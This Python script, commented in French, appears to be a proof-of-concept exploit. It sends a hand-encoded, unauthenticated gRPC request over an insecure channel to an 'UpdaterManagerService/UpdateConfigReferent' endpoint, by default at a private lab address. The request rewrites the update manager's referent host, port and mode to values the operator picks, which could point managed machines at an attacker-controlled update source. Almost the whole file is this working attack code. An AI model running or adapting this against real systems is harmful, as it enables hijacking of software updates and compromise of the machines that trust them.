#!/usr/bin/env python3
import grpc
import sys
import argparse

def encode_varint(value):
    if value == 0:
        return bytes([0])
    
    result = []
    while value > 0:
        byte = value & 0x7F
        value >>= 7
        if value > 0:
            byte |= 0x80
        result.append(byte)
    return bytes(result)

def decode_varint(data, pos):
    result = 0
    shift = 0
    while pos < len(data):
        byte = data[pos]
        result |= (byte & 0x7F) << shift
        pos += 1
        if (byte & 0x80) == 0:
            break
        shift += 7
    return result, pos

def decode_protobuf_field(data, pos):
    if pos >= len(data):
        return None, pos
    
    tag = data[pos]
    field_number = tag >> 3
    wire_type = tag & 0x07
    pos += 1
    
    if wire_type == 0:
        value, pos = decode_varint(data, pos)
        return (field_number, 'varint', value), pos
    elif wire_type == 2:
        length, pos = decode_varint(data, pos)
        value = data[pos:pos+length]
        pos += length
        return (field_number, 'bytes', value), pos
    else:
        return None, pos

def decode_config_referent(data):
    result = {}
    pos = 0
    
    while pos < len(data):
        field, pos = decode_protobuf_field(data, pos)
        if field is None:
            break
        
        field_num, field_type, value = field
        
        if field_num == 1 and field_type == 'bytes':
            nested_pos = 0
            while nested_pos < len(value):
                nested_field, nested_pos = decode_protobuf_field(value, nested_pos)
                if nested_field is None:
                    break
                
                n_field_num, n_field_type, n_value = nested_field
                
                if n_field_num == 1 and n_field_type == 'bytes':
                    inner_pos = 0
                    inner_field, inner_pos = decode_protobuf_field(n_value, inner_pos)
                    if inner_field and inner_field[0] == 1 and inner_field[1] == 'bytes':
                        try:
                            result['host'] = inner_field[2].decode('utf-8')
                        except:
                            pass
                
                elif n_field_num == 2 and n_field_type == 'varint':
                    result['port'] = n_value
                
                elif n_field_num == 3 and n_field_type == 'varint':
                    result['mode'] = n_value
        
        elif field_num == 4 and field_type == 'bytes':
            try:
                result['identifiant_service'] = value.decode('utf-8')
            except:
                pass
        
        elif field_num == 5 and field_type == 'bytes':
            try:
                result['channel_code'] = value.decode('utf-8')
            except:
                pass
    
    return result

def build_config_referent_message(host, port, mode=1):
    host_bytes = host.encode('utf-8')
    port_varint = encode_varint(port)
    
    host_inner = bytes([0x0a, len(host_bytes)]) + host_bytes
    
    host_middle = bytes([0x0a, len(host_inner)]) + host_inner
    
    nested_content = host_middle
    nested_content += bytes([0x10]) + port_varint
    nested_content += bytes([0x18, mode])
    
    message = bytes([0x0a, len(nested_content)]) + nested_content
    
    return message

def update_config_referent(target, target_port, config_host, config_port, mode=1):
    message = build_config_referent_message(config_host, config_port, mode)
    
    print(f"[+] Message ({len(message)} bytes): {message.hex()}")
    
    channel = grpc.insecure_channel(f'{target}:{target_port}')
    stub = channel.unary_unary(
        '/UpdaterManagerServiceProto.UpdaterManagerService/UpdateConfigReferent',
        request_serializer=lambda x: x,
        response_deserializer=lambda x: x
    )
    
    try:
        response = stub(message)
        print(f"[+] SUCCÈS!")
        print(f"[+] Réponse ({len(response)} bytes): {response.hex()}")
        
        decoded = decode_config_referent(response)
        
        if decoded:
            print("\n[+] Configuration appliquée:")
            if 'host' in decoded:
                print(f" - Host: {decoded['host']}")
            if 'port' in decoded:
                print(f" - Port: {decoded['port']}")
            if 'mode' in decoded:
                mode_names = {0: "Customized", 1: "Managed", 2: "UnManaged", 3: "Referent"}
                print(f" - Mode: {mode_names.get(decoded['mode'], 'Unknown')}")
        
        return True
        
    except grpc.RpcError as e:
        print(f"[-] ERREUR: {e.code()}")
        print(f"[-] Détails: {e.details()}")
        return False

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='UpdateConfigReferent via gRPC')
    
    parser.add_argument('--target', default='172.16.200.134')
    parser.add_argument('--target-port', type=int, default=9095)
    parser.add_argument('--host', required=True)
    parser.add_argument('--port', type=int, required=True)
    parser.add_argument('--mode', type=int, default=1, choices=[0,1,2,3],help="0: Customized, 1: Managed, 2: UnManaged, 3: Referent")
    
    args = parser.parse_args()
    
    mode_names = {0: "Customized", 1: "Managed", 2: "UnManaged", 3: "Referent"}
    
    print("[+] Configuration:")
    print(f" - Target: {args.target}:{args.target_port}")
    print(f" - Host: {args.host}")
    print(f" - Port: {args.port}")
    print(f" - Mode: {mode_names[args.mode]}")
    
    success = update_config_referent(
        args.target, args.target_port, 
        args.host, args.port, args.mode
    )
    
    sys.exit(0 if success else 1)